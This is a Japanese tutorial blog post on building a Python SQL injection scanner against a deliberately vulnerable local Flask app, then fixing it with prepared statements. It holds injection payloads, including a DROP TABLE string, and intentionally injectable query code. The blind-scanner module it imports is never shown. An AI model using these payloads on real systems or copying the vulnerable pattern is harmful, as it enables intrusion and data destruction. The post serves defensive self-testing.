最近、python sql インジェクション 診断 自動化のニーズが急増しています！どうやら、Pythonの自作スキャナーを使うと、自分のWebアプリの脆弱性を無料・即日で診断できるようです！
そこで今回は、ローカルの脆弱なFlaskアプリ環境で「Pythonによる SQLi 診断スクリプト」の実装と動作確認を行ってみました！コードをコピペするだけで動きますので、ぜひ皆さんも記事を読んで試してみてください！
⚠️ 重要：免責事項
本記事で解説するコードは、自分が所有・管理するWebアプリケーション、または書面で許可を受けたシステムのみで使用してください。
第三者のシステムへの無断診断は不正アクセス禁止法・その他法律に違反します。本コードの悪用による損害について、筆者は一切の責任を負いません。
この記事で分かること
- SQLインジェクションの仕組みと、脆弱なコードが生まれる原因
- Pythonとrequestsでエラーベース・ブラインドSQLiを自動検出する方法
- 発見した脆弱性をMarkdownレポートに出力し、プリペアドステートメントで修正する手順
SQLインジェクションとは：攻撃の仕組みをPythonで再現する
python sql インジェクション 診断 自動化の話をする前に、まず「なぜSQLiが起きるのか」を実装レベルで理解しておく必要があります。
SQLインジェクション（SQLi）でできること
- ログイン認証のバイパス（パスワードなしでログイン）
- データベース内の全ユーザー情報の抜き取り
- データの改ざん・削除（DROP TABLE等）
ここで、「普通にSQL文を書けば問題ないのでは？」という疑問が出てくると思います。
大きな差としては、「ユーザー入力をそのままSQL文字列に結合する」かどうかということです。これにより、悪意あるSQL断片を注入してクエリの意味を書き換えることが出来ます。
今話題の、「OWASP Top 10 の常連脆弱性」というやつですね！
比較すると、以下のようになります。
| 項目 | 安全なコード | 脆弱なコード |
|---|---|---|
| SQL組み立て方法 | プレースホルダ（?） | f-string / + 結合 |
| ユーザー入力の扱い | パラメータとして渡す | 文字列に直接埋め込む |
| SQLi耐性 | あり（クォートが無効化） | なし（任意のSQL実行可） |
「SQLiって難しそう…」と感じるかもしれませんが、この記事を読めば初心者の方でも大丈夫！順を追って「脆弱なコードの作り方→検出→修正」まで解説します。
SQLiの基本原理：文字列結合の危険性
たとえば以下のようなログインフォームがあるとします。ユーザーが入力した username をそのままSQL文に組み込んでいます。
診断対象：脆弱なFlask+SQLiteアプリ
後の章でスキャナーが検出する対象として、意図的に脆弱なFlaskアプリを用意します。
```python # vulnerable_app.py ← 診断対象のサンプル（絶対にそのまま本番環境に使わないこと） from flask import Flask, request, jsonify import sqlite3 app = Flask(__name__) DB_PATH = "test.db" def init_db(): """テスト用DBの初期化""" conn = sqlite3.connect(DB_PATH) conn.execute(""" CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY, username TEXT, password TEXT ) """) conn.execute("INSERT OR IGNORE INTO users VALUES (1, 'admin', 'secret123')") conn.execute("INSERT OR IGNORE INTO users VALUES (2, 'alice', 'password')") conn.commit() conn.close() @app.route('/login', methods=['POST']) def login(): """SQLi脆弱なログインエンドポイント""" username = request.form.get('username', '') password = request.form.get('password', '') try: conn = sqlite3.connect(DB_PATH) # ❌ 危険：ユーザー入力を直接文字列結合している query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'" cursor = conn.execute(query) user = cursor.fetchone() conn.close() if user: return jsonify({"status": "ok", "user": user[1]}) return jsonify({"status": "fail"}), 401 except Exception as e: # エラーメッセージをそのまま返している（情報漏洩） return jsonify({"error": str(e)}), 500 @app.route('/search', methods=['GET']) def search(): """SQLi脆弱な検索エンドポイント""" keyword = request.args.get('q', '') try: conn = sqlite3.connect(DB_PATH) # ❌ 危険：GETパラメータを直接結合 query = f"SELECT * FROM users WHERE username LIKE '%{keyword}%'" cursor = conn.execute(query) results = cursor.fetchall() conn.close() return jsonify({"results": results}) except Exception as e: return jsonify({"error": str(e)}), 500 if __name__ == '__main__': init_db() app.run(port=5000, debug=True) ```診断の前に：ローカルに脆弱なテスト環境を用意する
手順１：Pythonの依存ライブラリをインストールする
スキャナー本体と脆弱なアプリを動かすために必要なパッケージをインストールします。
pip install flask requests手順２：脆弱なFlaskアプリをローカルで起動する
先ほどの vulnerable_app.py をそのまま起動するだけでテスト環境が完成します。本番環境と完全に分離するために、必ずローカル（127.0.0.1）でのみ起動してください。
基本的に方法Aがおすすめです。この後の説明も、方法Aを元に行います。
方法A：Pythonで直接起動（おすすめ）
ターミナルで以下を実行するだけで、http://127.0.0.1:5000 にアプリが立ち上がります。
python vulnerable_app.py方法B：Dockerで起動（お試し向け）
ホスト環境を汚したくない場合はDockerを使います。
docker run -p 5000:5000 -v $(pwd):/app -w /app python:3.11-slim \
sh -c "pip install flask -q && python vulnerable_app.py"手順３：動作確認する
curlで正常なリクエストが返ることを確認します。
curl -X POST http://127.0.0.1:5000/login \
-d "username=admin&password=secret123"
# → {"status": "ok", "user": "admin"} が返ればOKこの状態でスキャナーを動かすと、SQLiが検出されるはずです。
エラーベースSQLiを検出するスキャナーを作る
python sql インジェクション 診断 自動化の核心部分です。エラーベースSQLiとは、不正な入力でDBがエラーを返し、そのエラーメッセージがレスポンスに漏れることで脆弱性を確認する手法です。
典型的なSQLiペイロードリスト
まずペイロード（注入する文字列）を定義します。これらを順番に送りつけて、レスポンスを観察します。
```python # payloads.py ← ペイロード定義（共通で使い回す） # SQLiを引き起こす典型的な文字列リスト ERROR_BASED_PAYLOADS = [ "'", # クォートで構文エラーを誘発 '"', # ダブルクォートで同様に試験 "' OR '1'='1", # 常にTrueになる条件 "' OR '1'='1'--", # コメントで後続SQLを無効化 "' OR 1=1--", # 数値比較版 '" OR "1"="1"--', # ダブルクォート版 "' UNION SELECT NULL--", # UNION注入テスト "'; DROP TABLE users--", # 破壊的SQLのテスト "1' AND SLEEP(0)--", # MySQLエラーテスト "' AND 1=CONVERT(int,'a')--"# 型変換エラーテスト ] # レスポンスに含まれていたらSQLiの証拠となるエラーキーワード SQL_ERROR_SIGNATURES = [ "sqlite3.OperationalError", "syntax error", "unrecognized token", "sqlite_error", "mysql_fetch", "ORA-", "Microsoft OLE DB", "Unclosed quotation mark", "SQL syntax", "Warning: mysql", "invalid query", "DBD::mysql" ] ```requestsでPOST/GETに自動注入するコード
なぜrequestsを使うかというと、HTTPリクエストを細かく制御でき、レスポンスボディ・ステータスコード・時間を一括で取れるからです。
```python # error_based_scanner.py ← エラーベースSQLiスキャナー本体 import requests import time from payloads import ERROR_BASED_PAYLOADS, SQL_ERROR_SIGNATURES from typing import NamedTuple # スキャン結果を格納するデータクラス class ScanResult(NamedTuple): param: str # 脆弱だったパラメータ名 payload: str # 使用したペイロード evidence: str # 証拠となるレスポンス断片 scan_type: str # スキャン種別 def scan_post_params( url: str, base_params: dict[str, str], timeout: int = 10 ) -> list[ScanResult]: """ POSTパラメータにSQLiペイロードを注入してエラーベースSQLiを検出する。 base_params: {'username': 'test', 'password': 'test'} のような正常なパラメータ """ results: list[ScanResult] = [] session = requests.Session() # User-Agentを一般的なブラウザに偽装（WAFの回避ではなく、アプリの正常動作確認のため） session.headers.update({'User-Agent': 'Mozilla/5.0 (SQLi-Scanner/1.0)'}) for param_name in base_params: for payload in ERROR_BASED_PAYLOADS: # 対象パラメータだけペイロードに差し替え、他は正常値を維持 test_params = base_params.copy() test_params[param_name] = payload try: resp = session.post(url, data=test_params, timeout=timeout) body = resp.text.lower() # 大文字小文字を統一して比較 # レスポンスにSQLエラーの痕跡があるか確認 for sig in SQL_ERROR_SIGNATURES: if sig.lower() in body: # 証拠としてエラー文字列周辺100文字を切り取る idx = body.find(sig.lower()) evidence = resp.text[max(0, idx-20):idx+100] results.append(ScanResult( param=param_name, payload=payload, evidence=evidence.strip(), scan_type="Error-based SQLi" )) print(f"[!] 検出: param={param_name}, payload={payload!r}") break # このペイロードで検出済みなので次のペイロードへ except requests.RequestException as e: print(f"[WARN] リクエスト失敗: {e}") continue return results def scan_get_params( url: str, base_params: dict[str, str], timeout: int = 10 ) -> list[ScanResult]: """GETパラメータにSQLiペイロードを注入する""" results: list[ScanResult] = [] session = requests.Session() session.headers.update({'User-Agent': 'Mozilla/5.0 (SQLi-Scanner/1.0)'}) for param_name in base_params: for payload in ERROR_BASED_PAYLOADS: test_params = base_params.copy() test_params[param_name] = payload try: resp = session.get(url, params=test_params, timeout=timeout) body = resp.text.lower() for sig in SQL_ERROR_SIGNATURES: if sig.lower() in body: idx = body.find(sig.lower()) evidence = resp.text[max(0, idx-20):idx+100] results.append(ScanResult( param=param_name, payload=payload, evidence=evidence.strip(), scan_type="Error-based SQLi (GET)" )) print(f"[!] 検出: param={param_name}, payload={payload!r}") break except requests.RequestException as e: print(f"[WARN] リクエスト失敗: {e}") continue return results if __name__ == '__main__': # テスト：ローカルの脆弱なFlaskアプリを対象にスキャン TARGET_POST = "http://127.0.0.1:5000/login" TARGET_GET = "http://127.0.0.1:5000/search" print("=== エラーベースSQLiスキャン開始 ===") post_results = scan_post_params( url=TARGET_POST, base_params={"username": "admin", "password": "test"} ) get_results = scan_get_params( url=TARGET_GET, base_params={"q": "alice"} ) all_results = post_results + get_results print(f"\n合計 {len(all_results)} 件の脆弱性を検出しました。") ```レスポンスのSQLエラー判定ロジック
上記コードの SQL_ERROR_SIGNATURES リストがポイントです。SQLite・MySQL・OracleなどDBごとに出力するエラー文字列が異なるため、複数のシグネチャを持たせることで多種類のDBに対応できます。
ブラインドSQLiを検出する（時間ベース）
エラーメッセージが画面に表示されない場合でも、「意図的にDBを一定時間待機させ、レスポンス時間が遅延したかどうか」で脆弱性を判定できます。これをブラインドSQLi（時間ベース）と呼びます。
SLEEP(3)ペイロードとレスポンス時間計測
SQLiteでは SLEEP() が使えないため、randomblob() で代用します。MySQLなら SLEEP(3)、PostgreSQLなら pg_sleep(3) を使います。
閾値設計と誤検知対策
ネットワーク遅延による誤検知を防ぐため、必ずベースラインを複数回計測して平均値を取るようにしています。単純に「3秒以上＝脆弱」ではなく、「正常時 + 閾値」という相対的な判定にすることがポイントです。
診断結果をMarkdownレポートに自動出力する
セキュリティテスト自動化において、発見した脆弱性を後から確認・共有できる形式で出力することは非常に重要です。
Markdownレポートの生成コード
脆弱なパラメータ名・使用したペイロード・証拠の断片を整形し、Markdownファイルとして保存します。
```python # report_generator.py ← Markdownレポート生成モジュール import datetime from pathlib import Path from error_based_scanner import ScanResult from time_based_scanner import BlindResult def generate_markdown_report( target_url: str, error_results: list[ScanResult], blind_results: list[BlindResult], output_dir: str = "reports" ) -> Path: """ スキャン結果をMarkdownレポートとして保存する。 戻り値：保存されたファイルのパス """ Path(output_dir).mkdir(exist_ok=True) timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") output_path = Path(output_dir) / f"sqli_report_{timestamp}.md" lines: list[str] = [] # ヘッダー lines.append("# SQLインジェクション診断レポート") lines.append(f"\n**診断日時:** {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") lines.append(f"**対象URL:** `{target_url}`") lines.append(f"**検出件数:** エラーベース {len(error_results)}件 / ブラインド {len(blind_results)}件") lines.append("\n---\n") # エラーベース結果セクション lines.append("## エラーベースSQLi 検出結果") if not error_results: lines.append("\n✅ 検出なし\n") else: for i, r in enumerate(error_results, 1): lines.append(f"\n### 検出 #{i}") lines.append(f"| 項目 | 内容 |") lines.append(f"|------|------|") lines.append(f"| 脆弱パラメータ | `{r.param}` |") lines.append(f"| 診断種別 | {r.scan_type} |") lines.append(f"| 使用ペイロード | `{r.payload}` |") lines.append(f"\n**証拠（レスポンス断片）:**") lines.append(f"```\n{r.evidence}\n```") lines.append("\n---\n") # ブラインドSQLi結果セクション lines.append("## ブラインドSQLi 検出結果（時間ベース）") if not blind_results: lines.append("\n✅ 検出なし\n") else: for i, r in enumerate(blind_results, 1): lines.append(f"\n### 検出 #{i}") lines.append(f"| 項目 | 内容 |") lines.append(f"|------|------|") lines.append(f"| 脆弱パラメータ | `{r.param}` |") lines.append(f"| 診断種別 | {r.scan_type} |") lines.append(f"| 使用ペイロード | `{r.payload}` |") lines.append(f"| レスポンス時間 | **{r.elapsed}秒** |") lines.append("\n---\n") # 修正推奨事項 lines.append("## 推奨対策") lines.append("\n1. **プリペアドステートメントの使用**：すべてのSQLクエリでパラメータバインドを使用する") lines.append("2. **エラーメッセージの非表示**：本番環境でDBエラーをそのままレスポンスに含めない") lines.append("3. **入力値バリデーション**：想定外の文字（シングルクォート等）をサーバー側で検証する") lines.append("4. **WAFの導入**：アプリケーションレイヤーのファイアウォールで既知のSQLiパターンをブロック") # ファイル書き込み try: output_path.write_text("\n".join(lines), encoding="utf-8") print(f"[+] レポートを保存しました: {output_path}") except OSError as e: print(f"[ERROR] レポート保存失敗: {e}") raise return output_path ```全スキャナーを統合して実行する
上記3つのモジュールを束ねた、コピペで即動作するメインスクリプトです。
```python # main_scanner.py ← 統合エントリーポイント from error_based_scanner import scan_post_params, scan_get_params from time_based_scanner import scan_time_based from report_generator import generate_markdown_report TARGET_BASE = "http://127.0.0.1:5000" # ← 診断対象のベースURL def main() -> None: print("=" * 50) print(" python sql インジェクション 診断 自動化スクリプト") print("=" * 50) print("⚠️ 自分が管理するシステムのみに使用してください\n") all_error_results = [] all_blind_results = [] # --- POSTエンドポイントのエラーベーススキャン --- all_error_results += scan_post_params( url=f"{TARGET_BASE}/login", base_params={"username": "admin", "password": "test"} ) # --- GETエンドポイントのエラーベーススキャン --- all_error_results += scan_get_params( url=f"{TARGET_BASE}/search", base_params={"q": "alice"} ) # --- 時間ベースのブラインドSQLiスキャン --- all_blind_results += scan_time_based( url=f"{TARGET_BASE}/login", base_params={"username": "admin", "password": "test"}, method='POST' ) # --- Markdownレポート出力 --- report_path = generate_markdown_report( target_url=TARGET_BASE, error_results=all_error_results, blind_results=all_blind_results ) print("\n" + "=" * 50) print(f"スキャン完了。レポート: {report_path}") print(f"エラーベース: {len(all_error_results)}件 / ブラインド: {len(all_blind_results)}件") if __name__ == '__main__': main() ```発見した脆弱性を修正する：プリペアドステートメントの実装
脆弱性を検出したら、次は修正です。対策の基本は「ユーザー入力をSQL文字列に直接埋め込まず、パラメータとして渡す」ことです。これをプリペアドステートメント（パラメータバインド）と呼びます。
sqlite3でのBefore/After比較
ログイン機能の認証部分の実装（JWTを使った認証の実装はこちら）と合わせて確認すると理解が深まります。
```python # ❌ Before（脆弱なコード） def login_vulnerable(username: str, password: str) -> dict | None: conn = sqlite3.connect("test.db") # ユーザー入力が直接SQL文字列に入るため、' OR '1'='1 で認証バイパスされる query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'" result = conn.execute(query).fetchone() conn.close() return result # ✅ After（安全なコード） def login_safe(username: str, password: str) -> dict | None: """ プリペアドステートメントを使用した安全なログイン処理。 ? プレースホルダに値をタプルで渡すことで、SQLとデータを分離する。 """ try: conn = sqlite3.connect("test.db") # ? がプレースホルダ。第二引数のタプルで安全に値を渡す query = "SELECT * FROM users WHERE username=? AND password=?" result = conn.execute(query, (username, password)).fetchone() conn.close() return result except sqlite3.Error as e: print(f"[ERROR] DB操作失敗: {e}") return None ```SQLAlchemyでのパラメータバインド
本格的なFlaskアプリではSQLAlchemyを使うことが多いです。こちらも同様にプレースホルダを使います。
```python # SQLAlchemy版の安全なクエリ（Flask + SQLAlchemy） from sqlalchemy import text from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() def login_with_sqlalchemy(username: str, password: str): """ SQLAlchemyのtext()とbindparams（:変数名）を使った安全なクエリ。 生のSQL文字列を書く場合でも text() + バインドで安全に実行できる。 """ try: # :username, :password がバインドパラメータ result = db.session.execute( text("SELECT * FROM users WHERE username=:u AND password=:p"), {"u": username, "p": password} ).fetchone() return result except Exception as e: db.session.rollback() print(f"[ERROR] クエリ失敗: {e}") return None # ORMを使う場合（最も推奨される方法） from models import User # SQLAlchemyのモデルクラス def login_with_orm(username: str, password: str): """ ORM経由のクエリは自動的にパラメータバインドされるため最も安全。 """ try: user = User.query.filter_by(username=username, password=password).first() return user except Exception as e: print(f"[ERROR] ORM クエリ失敗: {e}") return None ```まとめ・FAQ・次の記事への導線
今回は、Pythonで自作Webアプリのpython sql インジェクション 診断 自動化スクリプトを構築し、実際に脆弱なFlaskアプリを対象に動作確認するところまでチャレンジしてみました。
SQLmapも便利ですが、「自作スキャナー」は更に便利で、自分のアプリの構造に合わせたカスタマイズが自由にできるため、これを使わないのはもったいない！と感じました。
導入も簡単ですので、みなさんも今回の記事を参考に、ぜひpython sql インジェクション 診断 自動化を活用してみてください！
📌 この記事のまとめ
- SQLiはユーザー入力をSQL文字列に直接結合することで発生し、
f-stringでの組み立てが最大の原因 - エラーベースSQLiは
requestsでペイロードを送信し、レスポンスに含まれるエラーキーワードで判定できる - ブラインドSQLiはレスポンス時間の遅延をベースラインとの差分で判定し、誤検知を減らせる
- 診断結果はMarkdownに整形して自動保存することで、後からの確認・共有が容易になる
- 修正の基本はプリペアドステートメント（
?プレースホルダ）を使い、SQLとデータを完全に分離すること
📖 次に読むべき記事
- banditをGitHub ActionsのCIに組み込んでPythonの危険コードを自動検出する
- PythonでJWT認証を実装する：ログイン機能とトークン管理の完全ガイド
- OWASP ZAPをPythonから操作してWebアプリの脆弱性を全自動スキャンする
❓ よくある質問（FAQ）
Q. SQLmapとこのスクリプトの違いは何ですか？
A. SQLmapは非常に高機能なOSSの自動化ツールで、Unionベース・エラーベース・ブラインドSQLiなど多数の手法を網羅し、DBのダンプまで自動で行います。一方、本記事のスクリプトは「自分のアプリの特定エンドポイントだけを診断したい」「スキャンロジックを完全にコントロールしたい」「学習目的でSQLiの仕組みを理解したい」という用途に向いています。SQLmapは内部構造がブラックボックスになりがちですが、自作スキャナーはコードを読むことで診断の仕組みそのものが学べます。
Q. NoSQLインジェクション（MongoDB等）も同じ方法で検出できますか？
A. 基本的な「ペイロードを送信してレスポンスを確認する」アプローチは同じですが、ペイロードとエラーシグネチャが大きく異なります。MongoDBの場合は {"$gt": ""} のようなJSONオペレータ注入が主な手法で、エラーキーワードも MongoError や BSONTypeError になります。本スクリプトのペイロードリストとシグネチャを差し替えることで対応可能です。
Q. このスクリプトをCI/CDに組み込んで自動診断することはできますか？
A. 可能です。main_scanner.py の終了コードを、脆弱性検出数が0ならexit(0)、1件以上ならexit(1)にすることで、GitHub ActionsやGitLab CIのパイプラインにテストステップとして組み込めます。ただし、CIから本番環境を直接スキャンするのは危険なため、ステージング環境専用のURLを設定するようにしてください。
⚠️ 免責事項（再掲）
本記事で解説するすべてのコードは、自分が所有・管理するWebアプリケーション、または書面で許可を受けたシステムのみでの使用を前提としています。第三者のシステムへの無断アクセス・診断は不正アクセス禁止法（日本）を含む各国法律に違反し、刑事・民事上の責任を問われる場合があります。本スクリプトを悪用した場合の損害について筆者および運営は一切の責任を負いません。